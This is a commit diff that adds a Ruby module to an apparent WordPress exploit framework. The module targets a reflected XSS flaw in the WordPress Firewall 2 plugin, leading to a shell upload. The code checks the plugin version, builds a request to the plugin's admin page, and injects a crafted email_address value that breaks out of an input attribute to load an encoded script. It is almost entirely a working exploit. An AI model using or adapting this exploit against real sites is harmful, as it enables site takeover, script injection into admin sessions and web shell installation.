Add WordPress Firewall 2 reflected XSS shell upload

Author: rastating

modules/exploits/wordpress_firewall_reflected_xss_shell_upload.rb

@@ -0,0 +1,36 @@
+class Wpxf::Exploit::WordpressFirewallReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WordPress Firewall 2 Reflected XSS Shell Upload',
+      author: [
+        'Tom Adams',                      # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8787'],
+        ['URL', 'https://security.dxw.com/advisories/csrfstored-xss-in-wordpress-firewall-2-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/']
+      ],
+      date: 'Apr 04 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wordpress-firewall-2', '1.3.1')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php')
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'email_address' => "#{Utility::Text.rand_email}\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><input value=\\\"",
+      'set_email'     => 'Set Email'
+    )
+  end
+end